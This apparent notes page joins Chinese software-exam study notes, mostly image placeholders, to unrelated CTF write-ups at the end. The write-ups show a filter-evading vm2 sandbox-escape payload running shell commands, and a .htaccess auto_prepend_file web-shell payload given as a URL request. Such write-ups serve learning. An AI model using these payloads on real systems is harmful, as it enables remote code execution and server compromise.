why

疯疯癫癫的小辣鸡

计算机系统组成

冯诺依曼计算机的特点

image-20240904012040338

image-20240904012051808

输入输出设备和存储器之间道德数据传送通过运算器完成

五大部件作用

image-20240904012152683

主存储器

image-20240904012312719

mar可以标记存储单元的个数

mdr可以标记每个存储单元中存储元的个数

运算器

image-20240904012753882

控制器

image-20240904012933519

Flynn分类法

image-20240904013203366

指令系统

image-20240904013337788

操作码:决定干什么

地址码:决定干谁

七种寻址方式

image-20240904013623976

image-20240904013635129

image-20240904013713046

出题类型:给出特点选择相应寻址方式,所以了解即可

指令的流水处理

image-20240904014034806

多线程

流水线的计算

image-20240904014151305

image-20240904014255275

image-20240904014329499

输入输出技术

cpu与外设之间的数据传送方式

image-20240904014424029

image-20240904014449130

存储结构

层次结构

image-20240904045051756

image-20240904045147537

分类

image-20240904045331031

image-20240904045421433

image-20240904045507755

高速缓存cache

image-20240904045601250

image-20240904045712721

cache的三种地址映像

image-20240904045801798

image-20240905000304123

image-20240905000430176

cache的性能分析

image-20240905000627679

主存的扩展

image-20240905000924744

虚拟存储器

image-20240905001524545

磁盘存储器

image-20240905001631443

总线系统

image-20240905001757727

磁盘阵列技术

image-20240905001927079

计算机可靠性

image-20240905002106723

计算机网络基础

考纲要求

image-20240924194045015

计算机网络的分类

image-20240924194121407

七层网络体系结构!!!

image-20240924194156271

网络的标准

image-20240924194411949

TCP/IP协议族!!!

image-20240924194612931

TCP/UDP辨析

image-20240924194843372

IP地址和IPv6简介

域名

image-20240924194927491

image-20240924194934953

IP地址

image-20240924194947239

image-20240924195025493

IPv6

image-20240924195141154

小tip

image-20240924195315486

Internet服务!!!

image-20240924195348323

法律法规与标准化知识

知识产权

image-20241023201843656

image-20241023201902973

保护期限

image-20241023201949098

知识产权人的确定

image-20241023202134509

image-20241023202315005

侵权判定

image-20241023202406785

image-20241023202434297

标准的分类和标准的编号

分类

image-20241023202511461

编号

image-20241023202600542

程序设计语言基础知识

基本概念

image-20241011203938740

语言的分类

image-20241011204123385

基本成分

image-20241011204218351

编译与解释

image-20241011204324610

image-20241011204638173

编译流程

image-20241011204711878

image-20241011204826318

文法

image-20241011204951314

语法推导树

image-20241011205044386

image-20241011205322192

有限自动机

image-20241011205449807

image-20241011210137873

答案:c

正规式–有限自动机的另一表达形式

image-20241011205622097

image-20241011210109144

答案:d,c

表达式

image-20241011210250709

image-20241011210419021

答案:d

传值与引用(传址)

image-20241011210522431

image-20241011210836924

答案:d

各种语言特点

image-20241011211117429

操作系统基本原理

操作系统概念

image-20240917155006845

功能与目标

image-20240917155105446

特征

image-20240917155133833

发展与分类

image-20240917155323354

进度管理

状态转换图

image-20240917155631642

image-20240917155826995

前驱图

image-20240917160010794

进程同步机制

image-20240917160048772

image-20240917160143255

进程互斥机制

image-20240917160233592

image-20240917160324737

image-20240917160424059

信号量机制

image-20240917160523376

image-20240917160556991

pv操作

image-20240917160755080

pv操作实现前驱操作

image-20240917160922020

死锁

image-20240917161255255

死锁产生的必要条件

image-20240917161437438

死锁的处理策略

image-20240917161529687

银行家算法

image-20240917161705671

image-20240917161801619

存储管理

一些小问题和回答

image-20240923215736089

内存的分配与回收

image-20240923215844705

首次适应算法

image-20240923215918969

最佳适应算法

image-20240923220611556

最差适应算法

image-20240923220702371

邻近适应算法

image-20240923220818165

分页存储管理

image-20240923220851302

页表的作用是实现从页号到物理块号的地址映射

地址变换机构的基本任务是利用页表把用户程序中的逻辑地址变换成内存中的物理地址

分段存储管理

image-20240923221509286

段页式存储管理

image-20240923221717156

优点

空间浪费小、存储共享容易、存储保护容易、能动态链接

缺点

由于管理软件的层架,复杂度和开销也随之增加,需要的硬件以及占用的内容干有所增加,是的执行速度大大下降

页面置换算法

image-20240923222048659

最佳置换算法(opt)

image-20240923222131030

往后寻找,最后一个出现的页号就是要淘汰的页面

先进先出算法(fifo)

image-20240923222344901

最近最久未使用算法(lru)

image-20240923222433389

文件管理

文件管理总领

image-20240923222558582

文件目录

image-20240923222642398

image-20240923223750001

文件的结构

image-20240923223807399

索引分配

image-20240923223830796

空闲存储空间的管理(位示图法)

image-20240923224233074

image-20240923224327477

i/o设备基本概念

image-20240923224526066

i/o控制方式

image-20240923224600766

微内核操作系统

image-20240923224717713

UML建模

概述

image-20241022215555214

事物

image-20241022215643593

关系

image-20241022220003052

image-20241022220105512

类图

image-20241022220359442

image-20241022220453514

image-20241022222200190

用例图

image-20241022222224004

顺序图

image-20241022222356073

image-20241022222442567

活动图

image-20241022222611203

image-20241022222625462

状态图

image-20241022222755742

通信图

image-20241022222811557

构件图

image-20241022222850955

专业英语词汇知识

试题分析

image-20241023202723547

完形填空句法

image-20241023202757423

答题要领

image-20241023202824188

答题步骤

image-20241023202844011

专业词汇

image-20241023202959672

image-20241023203018701

image-20241023203027548

image-20241023203040655

image-20241023203046138

image-20241023203052970

image-20241023203100100

image-20241023203107245

image-20241023203136852

image-20241023203113201

image-20241023203153430

image-20241023203201352

image-20241023203224064

image-20241023203231217

image-20241023203238522

image-20241023203248545

image-20240621211441703

真的是php?

不懂

看到wp中大佬说是vm沙盒,先照着做吧

当code为空时

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

所以是一个获取键什么的

这里尝试一下

image-20240621211843751

发现一长串报错

error.stack可以简单解释为用alert()弹出console.log()的一样的异常堆栈信息

在github上可以找到破坏沙盒的方法

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

其中选用

(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
})()

但是我们可以发现其中有些字符被过滤,所以,我们通过重写替换

(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

prototyp => [${${prototyp}e}]
get_process => [${${get_proces}s}]
require => [${${requir}e}]
child_process => ${${child_proces}s}
execSync => [${${exe}cSync}]

image-20240621212758486

得到flag

<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

简单直接的代码题,我不是说简单

看看代码

首先scandir获取目录,不为index.php则删除

之后就是文件写入的过滤,最后读取文件

因为文件名没有字母,所以我们可以尝试.htaccess

向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,但是file关键字被ban了,可以用换行绕过,结尾要用\处理content中的\n

所以payload(通过注释的方式写shell):

php_value auto_prepend_fil\e .htaccess 
#<?php system('ls /');?>\

为了不换行,我们对这个进行url编码,得到

?filename=.htaccess&content=php_value%20auto_prepend_fil%5Ce%20.htaccess%20%0A#%3C?php%20system('ls%20/');?%3E%5C%20

之后就是

0%